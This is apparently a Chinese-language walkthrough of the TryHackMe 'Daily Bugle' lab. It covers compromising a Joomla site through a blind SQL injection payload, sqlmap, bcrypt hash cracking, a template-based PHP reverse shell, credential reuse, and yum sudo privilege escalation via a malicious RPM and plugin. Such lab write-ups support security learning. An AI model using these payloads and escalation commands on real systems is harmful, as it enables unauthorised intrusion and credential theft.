【THM】offensive-Daily Bugle
字数 1198 2025-08-29 22:41:32
Joomla CMS渗透测试实战:从SQL注入到权限提升
1. 信息收集阶段
1.1 端口扫描
使用Rustscan或Nmap扫描目标主机,发现开放端口:
- 22 (SSH)
- 80 (HTTP - Joomla CMS)
- 3306 (MySQL)
1.2 Web应用识别
访问80端口发现Joomla CMS运行中:
- 检查
robots.txt文件,发现15个条目 - 发现公开的
/administrator管理面板 - 使用
whatweb或Wig工具确认CMS类型
1.3 版本识别
通过以下方法确定Joomla版本:
- 访问特定文件:
http://<IP>/administrator/manifests/files/joomla.xmlhttp://<IP>/language/en-GB/en-GB.xml
- 检查
/LICENSE.txt和/README.txt文件 - 使用
joomscan工具:joomscan -u http://<IP>
2. 漏洞利用阶段
2.1 SQL注入漏洞利用
发现Joomla存在"list[fullordering]"参数盲SQL注入漏洞:
-
手动验证漏洞:
http://IP/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu) -
使用sqlmap自动化利用:
sqlmap -u "http://IP/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -
使用专用利用脚本:
git clone https://github.com/stefanlucas/Exploit-Joomla.git cd Exploit-Joomla python joomblah.py http://<IP>获取到
fb9j5_users表中的用户凭证(用户名jonah和密码哈希)
2.2 哈希破解
使用john或在线服务破解bcrypt哈希:
echo '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm' > hash
john --format=bcrypt hash
3. 获取Web Shell
3.1 登录管理面板
使用破解的凭证登录Joomla管理面板:
- 访问
http://IP/administrator - 输入用户名jonah和破解的密码
3.2 修改模板获取反向Shell
-
导航到模板管理:
- 扩展 > 模板 > 模板
- 选择Protostar模板(默认模板)
-
编辑index.php文件:
- 替换内容为PHP反向Shell代码(如PentestMonkey的)
- 修改IP和端口参数
- 保存更改
-
触发反向Shell:
- 访问
http://IP/templates/protostar/index.php - 或使用curl请求
- 本地监听对应端口获取Shell
- 访问
4. 权限提升
4.1 获取数据库凭证
检查Joomla配置文件获取数据库密码:
cat /var/www/html/configuration.php
尝试使用相同密码SSH登录用户jjameson:
ssh jjameson@IP
# 或
su jjameson
4.2 利用Yum提权
发现jjameson用户可以运行/usr/bin/yum,利用GTFOBins方法:
方法一:创建恶意RPM包
-
创建执行命令的RPM包:
TF=$(mktemp -d) echo 'id' > $TF/x.sh fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF -
传输并安装RPM包:
sudo yum localinstall -y a-1.0-1.noarch.rpm -
创建SUID bash:
TF=$(mktemp -d) echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > $TF/x.sh fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF sudo yum localinstall -y x-1.0-1.noarch.rpm /tmp/bash -p
方法二:加载自定义插件
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF
sudo yum --enableplugin=y
5. 总结
本渗透测试流程涵盖了:
- 信息收集与版本识别
- SQL注入漏洞利用
- 哈希破解与凭证重用
- Web Shell获取
- 权限提升技术
关键点:
- 仔细检查robots.txt和配置文件
- 利用特定版本的已知漏洞
- 凭证重用是横向移动的有效方法
- 查找sudo权限以进行权限提升